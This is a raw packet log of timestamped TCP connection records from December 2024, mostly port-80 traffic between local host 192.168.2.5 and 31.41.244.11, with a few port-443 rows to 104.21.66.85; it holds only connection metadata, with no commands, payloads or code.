Dec 18, 2024 21:30:43.757134914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.757147074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.757188082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.757843018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.757855892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.757896900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.758559942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.758573055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.758610010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.759262085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.759274006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.759284019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.759310961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.759325981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.759910107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.759927988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.759946108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.759957075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.760596991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.760608912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.760638952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.760651112 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.761332989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.761344910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.761389017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.761990070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.762001991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.762012005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.762038946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.762053013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.762682915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.762695074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.762732029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.763367891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.763381004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.763410091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.763421059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.764106989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.764118910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.764161110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.764892101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.764904976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.764933109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.764959097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.765703917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.765717983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.765727997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.765753984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.765765905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.923594952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.923686981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.923743010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.923755884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.923805952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.924355984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.924439907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.924683094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.924695015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.924719095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.924740076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.925283909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.925333023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.925538063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.925549030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.925584078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.925595999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.926145077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.926157951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.926186085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.926203012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.926743984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.926774025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.926795006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.926806927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.927388906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.927402020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.927443981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.927951097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.927962065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.928025007 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.928641081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.928656101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.928787947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.929316998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.929330111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.929368019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.930118084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.930129051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.930175066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.930205107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.930814981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.930834055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.930862904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.930876970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.931397915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.931410074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.931421041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.931443930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.931457996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.932041883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.932065010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.932086945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.932115078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.932883978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.932895899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.932936907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.932955980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.933512926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.933523893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.933552027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.933568001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.934253931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.934266090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.934276104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.934300900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.934330940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.934824944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.934835911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.934876919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.935517073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.935528994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.935573101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.936183929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.936197042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.936239004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.936870098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.936882019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.936920881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.937526941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.937545061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.937556028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.937578917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.937613964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.938256979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.938268900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.938308954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.938925028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.938944101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.938975096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.938975096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.939637899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.939649105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.939690113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.940309048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.940320969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.940330982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.940378904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.940391064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.941050053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.941061974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.941101074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.941649914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.941667080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.941706896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.942368031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.942379951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.942416906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.943073988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.943084955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.943113089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.943131924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.943758965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.943769932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.943790913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.943804979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.943820000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.943830967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.944494009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.944521904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.944566011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.944566965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.945213079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.945225000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.945282936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.945924044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.945935965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.945971012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.945991993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.946669102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.946681976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.946723938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.947189093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.947201014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.947211027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.947237015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.947248936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.947891951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.947904110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.947935104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.947943926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.948580027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.948592901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.948626995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.949250937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.949264050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.949297905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.950114012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.950125933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.950134993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.950158119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.950182915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.950669050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.950686932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.950728893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.950741053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.951364040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.951385975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.951406956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.951420069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.951996088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.952016115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.952052116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.952075958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.952703953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.952725887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.952763081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.953382969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.953394890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.953404903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.953422070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.953432083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.954067945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.954080105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.954112053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.954123974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.954741955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.954770088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.954796076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.954816103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.955415010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.955434084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.955465078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.955480099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.956072092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.956084013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.956106901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.956121922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.036689997 CET	49822	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:44.036717892 CET	443	49822	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:44.036853075 CET	49822	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:44.037200928 CET	49822	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:44.037214041 CET	443	49822	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:44.115760088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.115825891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.116108894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.116121054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.116154909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.116169930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.116575003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.116620064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.116900921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.116914034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.116959095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.117476940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.117544889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.117719889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.117731094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.117764950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.118386984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.118405104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.118427038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.118439913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.119009018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.119029999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.119057894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.119071007 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.119611025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.119622946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.119646072 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.119682074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.120115995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.120127916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.120181084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.120784998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.120805025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.120832920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.120845079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.121526003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.121537924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.121578932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.122167110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.122179985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.122214079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.122886896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.122900009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.122910976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.122932911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.122957945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.123553038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.123564959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.123600006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.124214888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.124236107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.124265909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.124278069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.124893904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.124912024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.124941111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.124952078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.125649929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.125662088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.125673056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.125698090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.125724077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.126305103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.126326084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.126352072 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.126364946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.127069950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.127080917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.127118111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.127732992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.127744913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.127784967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.127796888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.128370047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.128381014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.128418922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.129066944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.129086971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.129098892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.129128933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.129153967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.129770994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.129782915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.129820108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.130456924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.130469084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.130505085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.131119967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.131131887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.131181002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.131815910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.131829023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.131839037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.131870031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.131890059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.132489920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.132500887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.132534981 CET	49819	80	192.168.2.5	31.41.244.11
